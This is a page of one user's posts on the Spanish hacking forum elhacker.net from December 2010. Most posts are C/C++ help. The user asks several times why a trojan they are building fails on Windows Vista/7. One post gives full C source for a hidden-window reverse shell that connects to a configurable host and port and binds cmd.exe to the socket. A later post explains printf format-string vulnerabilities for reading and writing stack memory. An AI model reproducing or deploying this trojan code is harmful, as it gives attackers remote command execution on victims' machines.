elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Mensajes
Páginas: 1 ... 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 [110] 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125
1091  Programación / Programación C/C++ / Re: Calculo codigo resistencias c++ orientada a objetos en: 27 Diciembre 2010, 22:11 pm
No se hacen tareas, pon codigo, o algo...
1092  Programación / Programación C/C++ / Re: [C] [HELP] ¿Troyanos en Windows Vista / 7? ¿Que cambia? en: 27 Diciembre 2010, 18:32 pm
No, no funciona tampoco xD... Y mas que ser de seguridad Windows, creo que es la forma en la que se hace... no es correcta.
llevo 3 dias enteros con el problemita xD... podrian ayudarme?

Alguna otra respuestas?
Muchas gracias!



Pd: Feliz navidad!

Lh: No hagas doble post. Utiliza el botón modificar.


Bueno, alguien me puede decir al menos si le funciona en 7? Y en Vista? Y en XP SP3?
Necesito ayuda!!!

El code final es este... He probado a abrirlo como admin, y nada....
Alguna idea?

Bueno, que code usan ustedes en Vista / 7?

Código
  1. #include <time.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <winsock2.h>
  6.  
  7. struct sockaddr_in host;
  8. SOCKET sockfd;
  9.  
  10.  
  11. int main (int argc, char *argv [])
  12. {
  13. ShowWindow (GetForegroundWindow (), SW_HIDE);
  14. WSADATA wsa;
  15. WSAStartup(MAKEWORD(2,2),&wsa);
  16.  
  17. host.sin_addr.s_addr = inet_addr ("127.0.0.1"); // A modificar!
  18. host.sin_port = htons (31337); //Igualmente!
  19. host.sin_family = AF_INET;
  20. memset (host.sin_zero, 0, 8);
  21.  
  22.        if ((sockfd = socket (2, 1, 0)) == -1) return 1;
  23.        while (connect (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr))) Sleep (1);
  24. PROCESS_INFORMATION info_proc;
  25. STARTUPINFO start_proc;
  26. memset(&start_proc,0,sizeof(start_proc));
  27. start_proc.cb=sizeof(start_proc);
  28. start_proc.dwFlags=STARTF_USESTDHANDLES;
  29. start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (HANDLE)sockfd;
  30. CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc);
  31.  
  32.        closesocket (sockfd);
  33.        return 0;
  34. }
  35.  
1093  Programación / Programación C/C++ / Re: programacion C/C++ se sigue utilizando para asuntos hacker o ya casi no? en: 27 Diciembre 2010, 12:24 pm
Si, se sigue usando, y mucho. Se usa para hacer exploits, para buscar vulnerabilidades...
1094  Seguridad Informática / Análisis y Diseño de Malware / ¿Por que los troyanos no funcionan corectamente? [Windows Vista/7] en: 24 Diciembre 2010, 13:49 pm
Bueno, la cosa es que estoy haciendo un troyano en Windows Vista y 7 en C. He estado probando varias formas, pero no me da resultado. La pregunta es...

¿Por qué los troyanos en Windows XP funcionan y en Vista / 7 no?
Supongo que sera por algun cambio en el sistema operativo, pero deberian funcionar, ¿no?
¿Qué cambia para que no funcionen?
1095  Programación / Programación C/C++ / Re: QProcess::execute() no ejecuta el programa en: 24 Diciembre 2010, 10:52 am
1) Aunque sea code pequeño, GeShi. A pesar de ser pequeñisimo.
2) Supongo que sera C++. Ponlo en el titulo [C++] [?]
3)
Código
  1. QProcess ejecutar;
¿Que libreria estas usando? No conozco nada parecido en C o C++.  Es una estructura de funciones?
4)
Código
  1. if (parametros[0] == "execute")
Estas diciendo que si el programa se llama "execute" abriras "programa".
Creo que seria correcto:
Código
  1. if (parametros[1] == "execute")
  2.    {
  3.        QProcess ejecutar;
  4.        ejecutar.start(parametros[2]);
  5.    }

argv
  • --> Nombre del programa. Siempre disponible (ej: ./code).
argv [1] --> Primer argumento. No esta siempre disponible. Solo cuando lo escribe el usuario (ej: ./code execute)
argv [2] --> Segundo argumento. No esta siempre disponible. Solo cuando lo escribe el usuario (ej: ./code execute  "/bin/bash").


Espero haberte ayudado!
1096  Programación / Programación C/C++ / Re: [C] [HELP] ¿Troyanos en Windows Vista / 7? ¿Nos van a fastidar? ¿Que cambia? en: 23 Diciembre 2010, 16:01 pm
Muchas gracias por responder, pero no me funciona.. Alguien tiene otra idea?

PD: De todos modos muchas gracias!
1097  Programación / Programación C/C++ / Re: [C] [HELP] ¿Troyanos en Windows Vista / 7? ¿Nos van a fastidar? ¿Que cambia? en: 23 Diciembre 2010, 11:05 am
Sep, CreateProcess da 1, pero no ejecuta nada...
Sin embargo, es verdad, execve no va en Windows.

Que alternativa puedo usar a execve?
Que pasa con CreateProcess? Por que no ejecuta nada?


Muchisimas gracias por sus respuestas...
1098  Programación / Programación C/C++ / Re: [C] [HELP] ¿Troyanos en Windows Vista / 7? ¿Nos van a fastidar? ¿Que cambia? en: 22 Diciembre 2010, 19:03 pm
0 y 0, respectivamente  :huh:
Por que no corren!!!
1099  Programación / Programación C/C++ / Re: [C] [HELP] ¿Troyanos en Windows Vista / 7? ¿Nos van a fastidar? ¿Que cambia? en: 22 Diciembre 2010, 17:39 pm
Código:
Bueno, fallo mio y disculpas a todos...
De acuerdo, falla aqui:
[code=c]
CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc);
[/code]


Los fallos son que no se ejecutan correctamente. Todo lo demas, paso a paso, ha sido repasado, buggeado y probado por mi. Todas las demas instrucciones anteriores a esta son correctas. Todos los descriptores se cierran, todo se declara y define... todo.
Sigo probando, pero creo que esta mal algo en el procedimiento anterior a las funciones que fallan. Sencillamente en Vista el procedimiento no es correcto, aqui nos tenemos que inventar algo nuevo... La cosa es que cambia respecto a XP, pues en XP funciona 100%. A lo mejor ahora hay algo que cerrar, algo que declarar...

Muchisimas gracias, sigan posteando!
PD: Modifico con alguna cosilla.. Code abajo.
1100  Programación / Programación C/C++ / Re: Sockets,printf y datos provenientes de la red...por que esta vulnerabilidad? en: 21 Diciembre 2010, 19:03 pm
Para el que no lo entienda, es que a printf se le pasa una cadena sin más:
Código
  1. printf ("Hola mundo!");
Pues que pasa si le pasas...
Código
  1. printf ("Hola mundo %d%d%d!");
Pues que leera los tres ultimos datos de la pila... es cosa de ensamblador. La cosa es que al llamar a una funcion se escriben diversos datos en la pila, y en la funcion printf recupera de la pila los datos recibidos antes de la funcion cuando sale una caracter de control... A resumir, podrias leer cualquier dato de la pila.
Pero... se podria escribir? Resulta que un caracter especial escribe el numero de bytes leidos... Asi que controlando los datos... ya se sabe.

Mas en el libro "Hacking. Técnicas fundamentales". Fantastico libro sobre C, ensamblador y hacking!
Páginas: 1 ... 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 [110] 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines